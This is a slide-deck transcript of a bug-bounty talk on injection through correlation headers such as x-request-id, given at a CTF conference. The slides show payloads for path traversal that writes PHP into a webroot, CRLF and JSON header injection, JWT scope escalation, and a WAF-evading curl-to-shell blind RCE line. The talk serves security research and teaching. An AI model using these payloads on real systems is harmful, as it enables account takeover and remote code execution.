Upgrade to Pro — share decks privately, control downloads, hide ads and more …

X-Correlation Injections (or How to break serve...

X-Correlation Injections (or How to break server-side contexts)

Slides from my talk at Midnight Sun CTF in Stockholm on the 15th of June 2024.

Frans Rosén

August 27, 2024

Transcript

114 slides
  1. Frans Rosén @fransrosen • Full-time bug hunter • Listen to

    YTCracker - Green Hat • Collab with @avlidienbrunn • I like live-hacking events
  2. Frans Rosén @fransrosen • Full-time bug hunter • Listen to

    YTCracker - Green Hat • Collab with @avlidienbrunn • I like live-hacking events
  3. No standard • x-request-id • x-requestid • request-id • x-correlation-id

    • x-correlationid • x-company-correlation-id • x-company-request-id • x-trace-id • interactionid • x-unique-id • activity-id • x-activity-id • service-transaction-id • ...
  4. Fuzz, but for what? • Problem: Don't know context we

    end up in • Solution: Multiple tactics, blind or trigger error
  5. 1. Fuzz by trigger errors ALL ZE CHARACTERS
 
 x-request-id:

    ' " % & > [ ${ $( ` ; \ Do regular testing while having it there
  6. 1. Fuzz by trigger errors ALL ZE CHARACTERS
 
 x-request-id:

    ' " % & > [ ${ $( ` ; \ Do regular testing while having it there Weird things happen occasionally:
  7. 1. Fuzz by trigger errors ALL ZE CHARACTERS
 
 x-request-id:

    ' " % & > [ ${ $( ` ; \ Do regular testing while having it there Weird things happen occasionally: FUN! NOW
 LET'S UNDERSTAND
 WHY/WHAT
  8. False positives • Request-ID is validated against a pattern, for

    example:
 
 ^[a-f0-9-]{36}$ • Request-ID not allowed at all
  9. What we found Path traverse / arbitrary fi le write


    
 x-request-id: 123-456-789
 
 Dumped metrics to /tmp/trace-data/123-456-789 containing the request-id itself
  10. What we found Path traverse / arbitrary fi le write


    
 x-request-id: ../../../../var/www/html/<?=phpinfo()?>.php
  11. What we found Path traverse / arbitrary fi le write


    
 x-request-id: ../../../../var/www/html/<?=phpinfo()?>.php
 
 Dumped metrics to /tmp/trace-data/${requestId} containing the request-id itself
  12. Path traverse / arbitrary fi le write
 
 x-request-id: ../../../../var/www/html/<?=phpinfo()?>.php


    
 Dumped metrics to /tmp/trace-data/${requestId} containing the request-id itself What we found
  13. Path traverse / arbitrary fi le write
 
 x-request-id: ../../../../var/www/html/<?=phpinfo()?>.php


    
 Dumped metrics to /tmp/trace-data/${requestId} containing the request-id itself What we found
  14. What we found Header-injection
 
 x-request-id: 1%0d%0ax-account: 456
 
 Request

    fl ow becomes:
 Client req w/ x-request-id -> API proxy w/ header injected -> Backend service

  15. What we found Header-injection
 
 x-request-id: 1%0d%0ax-account: 456
 
 Request

    fl ow becomes:
 Client req w/ x-request-id -> API proxy w/ header injected -> Backend service
 
 GET /backend-service
 Host: internal
 x-request-id: 1
 x-account: 456
 x-account: 123
  16. What we found Header-injection
 
 x-request-id: 1%0d%0ax-account: 456
 
 Request

    fl ow becomes:
 Client req w/ x-request-id -> API proxy w/ header injected -> Backend service
 
 GET /backend-service
 Host: internal
 x-request-id: 1
 x-account: 456
 x-account: 123 Account 456 fetched instead!
  17. What we found Header-injection with Java (\u010d -> \u000d)
 


    x-request-id: 1%c4%8d%c4%8anew-header: foo
 

  18. What we found Header-injection with Java (\u010d -> \u000d)
 


    x-request-id: 1%c4%8d%c4%8anew-header: foo
 
 
 GET /backend-service
 Host: internal
 x-request-id: 1
 new-header: foo
 Connection: close
  19. What we found https://x.com/irsdl/status/1338097015188819969 Header-injection with Java (\u010d -> \u000d),

    thank you @irsdl!
 
 x-request-id: 1%c4%8d%c4%8anew-header: foo
 
 
 GET /backend-service
 Host: internal
 x-request-id: 1
 new-header: foo
 Connection: close
  20. What we found JSON-injection
 
 x-request-id: 1"},"payload":{"account":"456","foo":" Request fl ow

    becomes:
 Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service

  21. What we found JSON-injection
 
 x-request-id: 1"},"payload":{"account":"456","foo":" Request fl ow

    becomes:
 Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service
 
 POST /backend-service
 Host: internal
 
 {
 "payload":{"account":"123"},
 "context":{"request-id":"1"},"payload":{"account":"456","foo":""}}
  22. What we found JSON-injection
 
 x-request-id: 1"},"payload":{"account":"456","foo":" Request fl ow

    becomes:
 Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service
 
 POST /backend-service
 Host: internal
 
 {
 "payload":{"account":"123"},
 "context":{"request-id":"1"},"payload":{"account":"456","foo":""}}
  23. What we found JSON-injection
 
 x-request-id: 1"},"payload":{"account":"456","foo":" Request fl ow

    becomes:
 Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service
 
 POST /backend-service
 Host: internal
 
 {
 "payload":{"account":"123"},
 "context":{"request-id":"1"},"payload":{"account":"456","foo":""}} Account 456 fetched instead!
  24. Server-side JSON-injection • Di ff erence between " (error) and

    \" (ok) • Figure out where you are in the context
  25. Server-side JSON-injection • Di ff erence between " (error) and

    \" (ok) • Figure out where you are in the context
 

  26. Server-side JSON-injection • Di ff erence between " (error) and

    \" (ok) • Figure out where you are in the context • Does it allow premature ending?
 

  27. Server-side JSON-injection • Di ff erence between " (error) and

    \" (ok) • Figure out where you are in the context • Does it allow premature ending?
 
 id: 1"}x}} -> Error 
 id: 1"}}x} -> Error
 id: 1"}}}x -> premature ending OK
  28. Server-side JSON-injection • Di ff erence between " (error) and

    \" (ok) • Figure out where you are in the context • Does it allow premature ending?
 
 id: 1"}x}} -> Error 
 id: 1"}}x} -> Error
 id: 1"}}}x -> premature ending OK • Does it allow duplicate properties?
  29. Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 


    
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 

  30. Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 


    
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 Injections:
 {
 "req-id":"INJECTION 1",
 "id":"1234",
 "trace":""INJECTION 2"
 }

  31. Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 


    
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 Injections:
 {
 "req-id":"1","foo":{"foo":"",
 "id":"1234",
 "trace":""},"id":"4567"
 }

  32. Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 


    
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 Injections:
 {
 "req-id":"1","foo":{"foo":"",
 "id":"1234",
 "trace":""},"id":"4567"
 }
 Result:
  33. Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 


    
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 Injections:
 {
 "req-id":"1","foo":{"foo":"",
 "id":"1234",
 "trace":""},"id":"4567"
 }
 Result:
  34. Other places to look for it • S3-upload policies (@avlidienbrunn

    found this a few years before me)
 
 

  35. Other places to look for it • S3-upload policies (@avlidienbrunn

    found this a few years before me)
 
 

  36. Other places to look for it • S3-upload policies (@avlidienbrunn

    found this a few years before me)
 
 

  37. Other places to look for it • S3-upload policies (@avlidienbrunn

    found this a few years before me)
 
 
 Quirk:
 Arbitrary fi elds not allowed.
 "Conditions" is allowed but ignored
  38. Other places to look for it • S3-upload policies •

    JWT
 
 {"jti":"...","iss":"web","scope":"read","user":"frans"}
 

  39. Other places to look for it • S3-upload policies •

    JWT
 
 {"jti":"...","iss":"web","scope":"read","user":"frans"}
 
 Username: frans","scope":"admin

  40. Other places to look for it • S3-upload policies •

    JWT
 
 {"jti":"...","iss":"web","scope":"read","user":"frans"}
 
 Username: frans","scope":"admin
 
 Result:
 
 {"jti":"...","iss":"web","scope":"read","user":"frans","scope":"admin"}
  41. 2. Fuzz blindly We need Out-of-Band triggers to know
 


    x-request-id: BLIND XSS
 x-request-id: OOB RCE / BLIND RCE
 x-request-id: SQL inj with DNS
 x-request-id: log4shell
 x-request-id: make your own adventure
  42. Optimizing OOB/Blind RCE • As few special chars as possible

    • Support:
 
 $ `foo injection`
 $ foo 'injection'
 $ foo "injection"
 $ foo injection
  43. Optimizing OOB/Blind RCE • As few special chars as possible

    • Support:
 
 $ `foo injection`
 $ foo 'injection'
 $ foo "injection"
 $ foo injection • Collect data when triggered
  44. Optimizing OOB/Blind RCE • ${IFS} often captured by WAF, $IFS

    is not? • Avoid spaces Result: '`curl$IFS@mydomain|sh`'$(curl$IFS@mydomain|sh)
  45. Conclusion • Correlation headers expands attack surface • Fuzz using

    errors and blind • JSON-injection more common than expected
  46. Conclusion • Correlation headers expands attack surface • Fuzz using

    errors and blind • JSON-injection more common than expected • Let me know if you fi nd a new context to inject into!
  47. Frans Rosén, @fransrosen, Midnight Sun 2024 Thank you! Any Q?

    x-correlation inject"},"ion":"s or How to break server-side contexts

More Decks by Frans Rosén

Other Decks in Technology